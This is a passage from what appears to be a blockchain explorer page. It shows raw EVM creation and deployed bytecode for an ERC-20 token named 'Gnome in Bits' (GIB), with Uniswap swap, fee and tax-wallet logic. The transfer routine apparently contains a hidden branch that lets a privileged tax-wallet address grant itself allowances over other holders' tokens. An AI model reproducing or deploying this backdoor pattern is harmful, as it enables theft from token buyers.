ffff1614155b801561190d575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611966575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561198357600e5f81548092919061197d90612dae565b91905055505b5f61198d30610bf2565b9050611997610e1c565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156119df5750601160159054906101000a900460ff16155b8015611a37575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611a90575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa85750601160169054906101000a900460ff165b8015611ab75750600d54600e54115b15611b7557601354431115611ace575f6012819055505b611ad784611ce8565b601254611ae49190612df5565b6012819055506006546012541115611b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2890612e72565b60405180910390fd5b600554811115611b5757611b568460055411611b4f57600554611b51565b845b611f26565b5b5f4790505f8110611b6c57611b6b476121f2565b5b43601381905550505b505b809150509392505050565b5f611bc383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061166c565b905092915050565b5f808284611bd99190612df5565b905083811015611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1590612eda565b60405180910390fd5b8091505092915050565b5f808303611c38575f9050611c99565b5f8284611c459190612825565b9050828482611c549190612f25565b14611c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8b90612fc5565b60405180910390fd5b809150505b92915050565b5f611ce083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061225a565b905092915050565b5f80600267ffffffffffffffff811115611d0557611d04612fe3565b5b604051908082528060200260200182016040528015611d335781602001602082028036833780820191505090505b50905030815f81518110611d4a57611d49613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e1291906128e2565b81600181518110611e2657611e25613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401611ebd9291906130f4565b5f60405180830381865afa158015611ed7573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611eff9190613235565b905080600181518110611f1557611f14613010565b5b602002602001015192505050919050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f5d57611f5c612fe3565b5b604051908082528060200260200182016040528015611f8b5781602001602082028036833780820191505090505b50905030815f81518110611fa257611fa1613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612046573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061206a91906128e2565b8160018151811061207e5761207d613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e430600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f26565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121a795949392919061327c565b5f604051808303815f87803b1580156121be575f80fd5b505af11580156121d0573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612256573d5f803e3d5ffd5b5050565b5f80831182906122a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122979190612345565b60405180910390fd5b505f83856122ae9190612f25565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122f25780820151818401526020810190506122d7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612317826122bb565b61232181856122c5565b93506123318185602086016122d5565b61233a816122fd565b840191505092915050565b5f6020820190508181035f83015261235d818461230d565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61239f82612376565b9050919050565b6123af81612395565b81146123b9575f80fd5b50565b5f813590506123ca816123a6565b92915050565b5f819050919050565b6123e2816123d0565b81146123ec575f80fd5b50565b5f813590506123fd816123d9565b92915050565b5f80604083850312156124195761241861236e565b5b5f612426858286016123bc565b9250506020612437858286016123ef565b9150509250929050565b5f8115159050919050565b61245581612441565b82525050565b5f60208201905061246e5f83018461244c565b92915050565b61247d816123d0565b82525050565b5f6020820190506124965f830184612474565b92915050565b5f805f606084860312156124b3576124b261236e565b5b5f6124c0868287016123bc565b93505060206124d1868287016123bc565b92505060406124e2868287016123ef565b9150509250925092565b5f60ff82169050919050565b612501816124ec565b82525050565b5f60208201905061251a5f8301846124f8565b92915050565b5f61252a82612376565b9050919050565b61253a81612520565b8114612544575f80fd5b50565b5f8135905061255581612531565b92915050565b5f602082840312156125705761256f61236e565b5b5f61257d84828501612547565b91505092915050565b5f6020828403121561259b5761259a61236e565b5b5f6125a8848285016123bc565b91505092915050565b6125ba81612395565b82525050565b5f6020820190506125d35f8301846125b1565b92915050565b5f80604083850312156125ef576125ee61236e565b5b5f6125fc858286016123bc565b925050602061260d858286016123bc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61264b6020836122c5565b915061265682612617565b602082019050919050565b5f6020820190508181035f8301526126788161263f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612701578086048111156126dd576126dc61267f565b5b60018516156126ec5780820291505b80810290506126fa856126ac565b94506126c1565b94509492505050565b5f8261271957600190506127d4565b81612726575f90506127d4565b816001811461273c576002811461274657612775565b60019150506127d4565b60ff8411156127585761275761267f565b5b8360020a91508482111561276f5761276e61267f565b5b506127d4565b5060208310610133831016604e8410600b84101617156127aa5782820a9050838111156127a5576127a461267f565b5b6127d4565b6127b784848460016126b8565b925090508184048111156127ce576127cd61267f565b5b81810290505b9392505050565b5f6127e5826123d0565b91506127f0836124ec565b925061281d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461270a565b905092915050565b5f61282f826123d0565b915061283a836123d0565b9250828202612848816123d0565b9150828204841483151761285f5761285e61267f565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61289a6017836122c5565b91506128a582612866565b602082019050919050565b5f6020820190508181035f8301526128c78161288e565b9050919050565b5f815190506128dc816123a6565b92915050565b5f602082840312156128f7576128f661236e565b5b5f612904848285016128ce565b91505092915050565b5f6040820190506129205f8301856125b1565b61292d60208301846125b1565b9392505050565b5f819050919050565b5f819050919050565b5f61296061295b61295684612934565b61293d565b6123d0565b9050919050565b61297081612946565b82525050565b5f60c0820190506129895f8301896125b1565b6129966020830188612474565b6129a36040830187612967565b6129b06060830186612967565b6129bd60808301856125b1565b6129ca60a0830184612474565b979650505050505050565b5f815190506129e3816123d9565b92915050565b5f805f60608486031215612a00576129ff61236e565b5b5f612a0d868287016129d5565b9350506020612a1e868287016129d5565b9250506040612a2f868287016129d5565b9150509250925092565b5f604082019050612a4c5f8301856125b1565b612a596020830184612474565b9392505050565b612a6981612441565b8114612a73575f80fd5b50565b5f81519050612a8481612a60565b92915050565b5f60208284031215612a9f57612a9e61236e565b5b5f612aac84828501612a76565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b0f6024836122c5565b9150612b1a82612ab5565b604082019050919050565b5f6020820190508181035f830152612b3c81612b03565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b9d6022836122c5565b9150612ba882612b43565b604082019050919050565b5f6020820190508181035f830152612bca81612b91565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c2b6025836122c5565b9150612c3682612bd1565b604082019050919050565b5f6020820190508181035f830152612c5881612c1f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cb96023836122c5565b9150612cc482612c5f565b604082019050919050565b5f6020820190508181035f830152612ce681612cad565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d476029836122c5565b9150612d5282612ced565b604082019050919050565b5f6020820190508181035f830152612d7481612d3b565b9050919050565b5f612d85826123d0565b9150612d90836123d0565b9250828203905081811115612da857612da761267f565b5b92915050565b5f612db8826123d0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dea57612de961267f565b5b600182019050919050565b5f612dff826123d0565b9150612e0a836123d0565b9250828201905080821115612e2257612e2161267f565b5b92915050565b7f4d61782073776170206c696d69740000000000000000000000000000000000005f82015250565b5f612e5c600e836122c5565b9150612e6782612e28565b602082019050919050565b5f6020820190508181035f830152612e8981612e50565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ec4601b836122c5565b9150612ecf82612e90565b602082019050919050565b5f6020820190508181035f830152612ef181612eb8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f2f826123d0565b9150612f3a836123d0565b925082612f4a57612f49612ef8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612faf6021836122c5565b9150612fba82612f55565b604082019050919050565b5f6020820190508181035f830152612fdc81612fa3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61306f81612395565b82525050565b5f6130808383613066565b60208301905092915050565b5f602082019050919050565b5f6130a28261303d565b6130ac8185613047565b93506130b783613057565b805f5b838110156130e75781516130ce8882613075565b97506130d98361308c565b9250506001810190506130ba565b5085935050505092915050565b5f6040820190506131075f830185612474565b81810360208301526131198184613098565b90509392505050565b5f80fd5b61312f826122fd565b810181811067ffffffffffffffff8211171561314e5761314d612fe3565b5b80604052505050565b5f613160612365565b905061316c8282613126565b919050565b5f67ffffffffffffffff82111561318b5761318a612fe3565b5b602082029050602081019050919050565b5f80fd5b5f6131b26131ad84613171565b613157565b905080838252602082019050602084028301858111156131d5576131d461319c565b5b835b818110156131fe57806131ea88826129d5565b8452602084019350506020810190506131d7565b5050509392505050565b5f82601f83011261321c5761321b613122565b5b815161322c8482602086016131a0565b91505092915050565b5f6020828403121561324a5761324961236e565b5b5f82015167ffffffffffffffff81111561326757613266612372565b5b61327384828501613208565b91505092915050565b5f60a08201905061328f5f830188612474565b61329c6020830187612967565b81810360408301526132ae8186613098565b90506132bd60608301856125b1565b6132ca6080830184612474565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b893b65b73b742842a061e39883651b75dad36375acef562dcef3525966ff01a64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610100575f3560e01c80634445aae911610094578063751039fc11610063578063751039fc146102fb5780638da5cb5b1461031157806395d89b411461033b578063a9059cbb14610365578063dd62ed3e146103a157610107565b80634445aae914610255578063623cb3271461027f57806370a08231146102a9578063715018a6146102e557610107565b806323b872dd116100d057806323b872dd146101b1578063313ce567146101ed5780633af5b97e146102175780633c50a1ad1461022d57610107565b8062719efa1461010b57806306fdde0314610121578063095ea7b31461014b57806318160ddd1461018757610107565b3661010757005b5f80fd5b348015610116575f80fd5b5061011f6103dd565b005b34801561012c575f80fd5b506101356104c9565b6040516101429190612345565b60405180910390f35b348015610156575f80fd5b50610171600480360381019061016c9190612403565b610506565b60405161017e919061245b565b60405180910390f35b348015610192575f80fd5b5061019b610523565b6040516101a89190612483565b60405180910390f35b3480156101bc575f80fd5b506101d760048036038101906101d2919061249c565b610546565b6040516101e4919061245b565b60405180910390f35b3480156101f8575f80fd5b5061020161061a565b60405161020e9190612507565b60405180910390f35b348015610222575f80fd5b5061022b610622565b005b348015610238575f80fd5b50610253600480360381019061024e919061255b565b610b44565b005b348015610260575f80fd5b50610269610be6565b6040516102769190612483565b60405180910390f35b34801561028a575f80fd5b50610293610bec565b6040516102a09190612483565b60405180910390f35b3480156102b4575f80fd5b506102cf60048036038101906102ca9190612586565b610bf2565b6040516102dc9190612483565b60405180910390f35b3480156102f0575f80fd5b506102f9610c38565b005b348015610306575f80fd5b5061030f610d86565b005b34801561031c575f80fd5b50610325610e1c565b60405161033291906125c0565b60405180910390f35b348015610346575f80fd5b5061034f610e43565b60405161035c9190612345565b60405180910390f35b348015610370575f80fd5b5061038b60048036038101906103869190612403565b610e80565b604051610398919061245b565b60405180910390f35b3480156103ac575f80fd5b506103c760048036038101906103c291906125d9565b610e9d565b6040516103d49190612483565b60405180910390f35b6103e5610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046890612661565b60405180910390fd5b5f471161047c575f80fd5b610484610f1f565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156104c6573d5f803e3d5ffd5b50565b60606040518060400160405280600d81526020017f476e6f6d6520696e204269747300000000000000000000000000000000000000815250905090565b5f610519610512610f1f565b8484610f26565b6001905092915050565b5f6009600a61053291906127db565b633b9aca006105419190612825565b905090565b5f6105528484846110e9565b61060f8461055e610f1f565b61060a856040518060600160405280602881526020016132d56028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105c1610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461166c9092919063ffffffff16565b610f26565b600190509392505050565b5f6009905090565b61062a610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad90612661565b60405180910390fd5b601160149054906101000a900460ff1615610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fd906128b0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107a230600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61078e91906127db565b633b9aca0061079d9190612825565b610f26565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083091906128e2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108da91906128e2565b6040518363ffffffff1660e01b81526004016108f792919061290d565b6020604051808303815f875af1158015610913573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093791906128e2565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109be30610bf2565b5f806109c8610e1c565b426040518863ffffffff1660e01b81526004016109ea96959493929190612976565b60606040518083038185885af1158015610a06573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a2b91906129e9565b5050506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b01929190612a39565b6020604051808303815f875af1158015610b1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b419190612a8a565b50565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b84610f1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ba3575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b60065481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c40610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc390612661565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d8e610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1190612661565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4749420000000000000000000000000000000000000000000000000000000000815250905090565b5f610e93610e8c610f1f565b84846110e9565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b90612b25565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612bb3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110dc9190612483565b60405180910390a3505050565b82828260045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111cd575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111cc575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b15611257578060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611219610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bc90612c41565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90612ccf565b60405180910390fd5b5f8411611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d5d565b60405180910390fd5b5f6113818787876116ce565b90506113d38560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b8290919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061147661142a8287611b8290919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcb90919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156115b65761150f8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcb90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ad9190612483565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611663578573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61164d8489611b8290919063ffffffff16565b60405161165a9190612483565b60405180910390a35b50505050505050565b5f8383111582906116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa9190612345565b60405180910390fd5b505f83856116c19190612d7b565b9050809150509392505050565b5f805f90506116db610e1c565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156117495750611719610e1c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561178157503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117b957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b7757601160159054906101000a900460ff166118115761180e6064611800600c54600e54116117ed57600a546117f1565b600b545b86611c2890919063ffffffff16565b611c9f90919063ffffffff16565b90505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156118ba5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561190d575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611966575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561198357600e5f81548092919061197d90612dae565b91905055505b5f61198d30610bf2565b9050611997610e1c565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156119df5750601160159054906101000a900460ff16155b8015611a37575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611a90575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa85750601160169054906101000a900460ff165b8015611ab75750600d54600e54115b15611b7557601354431115611ace575f6012819055505b611ad784611ce8565b601254611ae49190612df5565b6012819055506006546012541115611b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2890612e72565b60405180910390fd5b600554811115611b5757611b568460055411611b4f57600554611b51565b845b611f26565b5b5f4790505f8110611b6c57611b6b476121f2565b5b43601381905550505b505b809150509392505050565b5f611bc383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061166c565b905092915050565b5f808284611bd99190612df5565b905083811015611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1590612eda565b60405180910390fd5b8091505092915050565b5f808303611c38575f9050611c99565b5f8284611c459190612825565b9050828482611c549190612f25565b14611c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8b90612fc5565b60405180910390fd5b809150505b92915050565b5f611ce083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061225a565b905092915050565b5f80600267ffffffffffffffff811115611d0557611d04612fe3565b5b604051908082528060200260200182016040528015611d335781602001602082028036833780820191505090505b50905030815f81518110611d4a57611d49613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e1291906128e2565b81600181518110611e2657611e25613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401611ebd9291906130f4565b5f60405180830381865afa158015611ed7573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611eff9190613235565b905080600181518110611f1557611f14613010565b5b602002602001015192505050919050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f5d57611f5c612fe3565b5b604051908082528060200260200182016040528015611f8b5781602001602082028036833780820191505090505b50905030815f81518110611fa257611fa1613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612046573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061206a91906128e2565b8160018151811061207e5761207d613010565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e430600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f26565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121a795949392919061327c565b5f604051808303815f87803b1580156121be575f80fd5b505af11580156121d0573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612256573d5f803e3d5ffd5b5050565b5f80831182906122a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122979190612345565b60405180910390fd5b505f83856122ae9190612f25565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122f25780820151818401526020810190506122d7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612317826122bb565b61232181856122c5565b93506123318185602086016122d5565b61233a816122fd565b840191505092915050565b5f6020820190508181035f83015261235d818461230d565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61239f82612376565b9050919050565b6123af81612395565b81146123b9575f80fd5b50565b5f813590506123ca816123a6565b92915050565b5f819050919050565b6123e2816123d0565b81146123ec575f80fd5b50565b5f813590506123fd816123d9565b92915050565b5f80604083850312